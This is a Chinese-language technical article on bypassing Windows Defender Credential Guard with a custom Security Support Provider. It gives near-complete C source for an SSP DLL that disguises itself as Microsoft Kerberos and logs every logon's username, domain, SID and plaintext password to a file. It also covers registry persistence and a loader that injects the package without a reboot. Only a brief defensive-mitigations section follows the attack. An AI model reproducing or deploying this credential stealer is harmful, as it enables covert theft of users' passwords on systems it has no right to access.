Credential Guard Bypass From Custom SSP
字数 1844 2025-08-25 22:58:29
Windows Defender Credential Guard 绕过技术:自定义 SSP 实现
0. 背景介绍
Windows Defender Credential Guard 是微软从 Windows 10 1507 企业版和 Windows Server 2016 开始引入的安全控制机制,旨在防止凭据盗窃攻击。它使用基于虚拟化的安全性来隔离敏感信息,保护以下凭据:
- NTLM 密码哈希
- Kerberos TGT 票据
- 应用程序存储的域凭据
在传统系统中,LSA (Local Security Authority) 进程会将密码存储在内存中,而启用 Credential Guard 后:
- 操作系统中的 LSA 进程与新的"隔离 LSA 进程"(Isolated LSA Process)通信
- 隔离 LSA 进程使用基于虚拟化的安全性保护数据
- 系统其余部分无法访问这些数据
- LSA 使用远程过程调用与隔离 LSA 进程通信
1. 技术原理
1.1 自定义安全包(SSP/AP)
自定义安全包 API 允许开发:
- 自定义安全支持提供程序(SSP):为客户端/服务器应用提供非交互式身份验证
- 自定义身份验证包(AP):为交互式身份验证提供服务
当这两种服务合并时称为 SSP/AP 安全包。这种包与 LSA 完全集成,可以实现:
- 令牌创建
- 补充凭据支持
- 直通身份验证
通过注册自定义 SSP/AP,当用户进行交互式登录时,系统会通过我们的 SSP/AP 传递明文凭据,从而绕过 Credential Guard 的保护。
1.2 LSA 模式初始化流程
系统启动时,LSA 会:
- 加载所有已注册的 SSP/AP DLL 到其进程空间
- 调用每个 DLL 中的
SpLsaModeInitialize()函数 - 获取指向 DLL 中安全包实现函数的指针(SECPKG_FUNCTION_TABLE 结构数组)
- 调用每个安全包的
SpInitialize()函数,传递 LSA 支持函数指针
1.3 必须实现的函数
自定义 SSP/AP 需要实现以下关键函数:
| 函数 | 描述 |
|---|---|
SpInitialize |
执行初始化处理,接收 LSA 支持函数指针 |
SpShutDown |
卸载前执行清理工作 |
SpGetInfo |
提供安全包的一般信息(名称、描述、功能) |
SpAcceptCredentials |
接收并存储经过身份验证的安全主体的凭据 |
2. 实现步骤
2.1 创建自定义 SSP DLL
以下是关键代码实现:
#include "pch.h"
// 定义函数表
static SECPKG_FUNCTION_TABLE SecPkgFunctionTable[] = {
{
NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL,
_SpInitialize, _SpShutDown, _SpGetInfo, _SpAcceptCredentials,
NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, NULL, NULL, NULL
}
};
// 初始化函数
NTSTATUS NTAPI _SpInitialize(ULONG_PTR PackageId, PSECPKG_PARAMETERS Parameters, PLSA_SECPKG_FUNCTION_TABLE FunctionTable)
{
return STATUS_SUCCESS;
}
// 关闭函数
NTSTATUS NTAPI _SpShutDown(void)
{
return STATUS_SUCCESS;
}
// 获取信息函数
NTSTATUS NTAPI _SpGetInfo(PSecPkgInfoW PackageInfo)
{
PackageInfo->fCapabilities = SECPKG_FLAG_ACCEPT_WIN32_NAME | SECPKG_FLAG_CONNECTION;
PackageInfo->wVersion = 1;
PackageInfo->wRPCID = SECPKG_ID_NONE;
PackageInfo->cbMaxToken = 0;
PackageInfo->Name = (SEC_WCHAR*)L"Kerberos"; // 伪装成Kerberos
PackageInfo->Comment = (SEC_WCHAR*)L"Microsoft Kerberos V5.0";
return STATUS_SUCCESS;
}
// 接收凭据函数
NTSTATUS NTAPI _SpAcceptCredentials(SECURITY_LOGON_TYPE LogonType,
PUNICODE_STRING AccountName,
PSECPKG_PRIMARY_CRED PrimaryCredentials,
PSECPKG_SUPPLEMENTAL_CRED SupplementalCredentials)
{
const wchar_t* LSA_LOGON_TYPE[] = {
L"UndefinedLogonType",
L"Unknown !",
L"Interactive",
L"Network",
L"Batch",
L"Service",
L"Proxy",
L"Unlock",
L"NetworkCleartext",
L"NewCredentials",
L"RemoteInteractive",
L"CachedInteractive",
L"CachedRemoteInteractive",
L"CachedUnlock",
};
FILE* logfile;
if (_wfopen_s(&logfile, L"CustSSP.log", L"a") == 0)
{
// 记录详细的登录信息
SspLog(logfile, L">>>>=================================================================\n"
L"[+] Authentication Id : %u:%u (%08x:%08x)\n"
L"[+] Logon Type : %s\n"
L"[+] User Name : %wZ\n"
L"[+] Domain : %wZ\n"
L"[+] Logon Server : %wZ\n"
L"[+] SID : %s\n"
L"[+] SSP Credential : \n"
L"\t* UserName : %wZ\n"
L"\t* Domain : %wZ\n"
L"\t* Password : ",
PrimaryCredentials->LogonId.HighPart,
PrimaryCredentials->LogonId.LowPart,
PrimaryCredentials->LogonId.HighPart,
PrimaryCredentials->LogonId.LowPart,
LSA_LOGON_TYPE[LogonType],
AccountName,
&PrimaryCredentials->DomainName,
&PrimaryCredentials->LogonServer,
SidToString(PrimaryCredentials->UserSid),
&PrimaryCredentials->DownlevelName,
&PrimaryCredentials->DomainName);
// 记录密码
SspLogPassword(logfile, &PrimaryCredentials->Password);
SspLog(logfile, L"\n");
fclose(logfile);
}
return STATUS_SUCCESS;
}
// LSA模式初始化函数
NTSTATUS NTAPI _SpLsaModeInitialize(ULONG LsaVersion,
PULONG PackageVersion,
PSECPKG_FUNCTION_TABLE* ppTables,
PULONG pcTables)
{
*PackageVersion = SECPKG_INTERFACE_VERSION;
*ppTables = SecPkgFunctionTable;
*pcTables = ARRAYSIZE(SecPkgFunctionTable);
return STATUS_SUCCESS;
}
2.2 导出函数
需要创建.def文件导出SpLsaModeInitialize函数:
LIBRARY
EXPORTS
SpLsaModeInitialize = _SpLsaModeInitialize
3. 部署与使用
3.1 传统部署方法
- 将编译的
CustSSP.dll复制到C:\Windows\System32目录 - 修改注册表,添加安全包:
添加值HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\Security PackagesCustSSP - 重启系统使更改生效
3.2 动态加载方法(无需重启)
使用AddSecurityPackage API动态加载SSP:
#define SECURITY_WIN32
#include <stdio.h>
#include <Windows.h>
#include <Security.h>
#pragma comment(lib,"Secur32.lib")
int wmain(int argc, char** argv) {
SECURITY_PACKAGE_OPTIONS option;
option.Size = sizeof(option);
option.Flags = 0;
option.Type = SECPKG_OPTIONS_TYPE_LSA;
option.SignatureSize = 0;
option.Signature = NULL;
if (AddSecurityPackageW((LPWSTR)L"CustSSP", &option) == SEC_E_OK)
{
wprintf(L"[*] Add security package successfully\n");
}
}
注意:动态加载方法在系统重启后会失效,仍需修改注册表进行持久化。
4. 防御措施
为防止此类攻击,建议采取以下措施:
- 限制注册表修改:限制对
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\Security Packages的访问 - 文件完整性监控:监控
System32目录下DLL的添加和修改 - 禁用不必要的SSP:审核并移除不必要的安全支持提供程序
- 使用LSA保护:启用LSA保护功能(需Windows 10 1809+)
- 应用白名单:限制只有授权DLL可以在系统目录中加载
5. 总结
本文详细介绍了通过自定义SSP绕过Windows Defender Credential Guard的技术原理和实现方法。关键在于:
- 理解LSA与SSP/AP的交互机制
- 正确实现必要的SSP函数,特别是
SpAcceptCredentials - 通过注册表或API将自定义SSP注册到系统
- 捕获并记录通过SSP传递的明文凭据
这种技术利用了系统设计中的信任机制,强调了即使有Credential Guard等高级保护措施,系统仍然可能通过其他扩展点被绕过。防御此类攻击需要多层次的安全策略和持续监控。